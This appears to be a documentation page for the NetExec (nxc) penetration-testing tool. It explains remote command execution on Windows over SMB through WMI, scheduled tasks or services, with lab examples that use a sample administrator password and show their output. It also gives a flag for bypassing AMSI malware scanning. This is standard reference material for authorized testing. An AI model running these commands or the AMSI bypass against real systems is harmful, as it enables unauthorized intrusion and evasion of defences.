Executing Remote Commands

Command Execution

Executing commands on a windows system requires Administrator credentials.

nxc automatically tells you if the credential set you're using has admin access to a host by appending "(Pwn3d!)" (or whatever value you've set in the config) to the output when authentication is successful.

Execution Methods

nxc has three different command execution methods:

• wmiexec executes commands via WMI

• atexec executes commands by scheduling a task with windows task scheduler

• smbexec executes commands by creating and running a service

By default nxc will fail over to a different execution method if one fails. It attempts to execute commands in the following order:

1. wmiexec

2. atexec

3. smbexec

If you want to force nxc to use only one execution method you can specify which one using the --exec-method flag.

Executing Commands

In the following example, we try to execute whoami on the target using the -x flag:

nxc smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami
06-05-2016 14:34:35 nxc          192.168.10.11:445 WIN7BOX         [*] Windows 6.1 Build 7601 (name:WIN7BOX) (domain:LAB)
06-05-2016 14:34:35 nxc          192.168.10.11:445 WIN7BOX         [+] LAB\Administrator:P@ssw0rd (Pwn3d!)
06-05-2016 14:34:39 nxc          192.168.10.11:445 WIN7BOX         [+] Executed command 
06-05-2016 14:34:39 nxc          192.168.10.11:445 WIN7BOX         lab\administrator
06-05-2016 14:34:39 [*] KTHXBYE!

You can also directly execute PowerShell commands using the -X flag:

nxc smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable'
06-05-2016 14:36:06 nxc          192.168.10.11:445 WIN7BOX         [*] Windows 6.1 Build 7601 (name:WIN7BOX) (domain:LAB)
06-05-2016 14:36:06 nxc          192.168.10.11:445 WIN7BOX         [+] LAB\Administrator:P@ssw0rd (Pwn3d!)
06-05-2016 14:36:10 nxc          192.168.10.11:445 WIN7BOX         [+] Executed command 
06-05-2016 14:36:10 nxc          192.168.10.11:445 WIN7BOX         Name                           Value
06-05-2016 14:36:10 nxc          192.168.10.11:445 WIN7BOX         ----                           -----
06-05-2016 14:36:10 nxc          192.168.10.11:445 WIN7BOX         CLRVersion                     2.0.50727.5420
06-05-2016 14:36:10 nxc          192.168.10.11:445 WIN7BOX         BuildVersion                   6.1.7601.17514
06-05-2016 14:36:10 nxc          192.168.10.11:445 WIN7BOX         PSVersion                      2.0
06-05-2016 14:36:10 nxc          192.168.10.11:445 WIN7BOX         WSManStackVersion              2.0
06-05-2016 14:36:10 nxc          192.168.10.11:445 WIN7BOX         PSCompatibleVersions           {1.0, 2.0}
06-05-2016 14:36:10 nxc          192.168.10.11:445 WIN7BOX         SerializationVersion           1.1.0.1
06-05-2016 14:36:10 nxc          192.168.10.11:445 WIN7BOX         PSRemotingProtocolVersion      2.1
06-05-2016 14:36:10 [*] KTHXBYE!

Bypass AMSI

nxc smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable'  --amsi-bypass /path/payload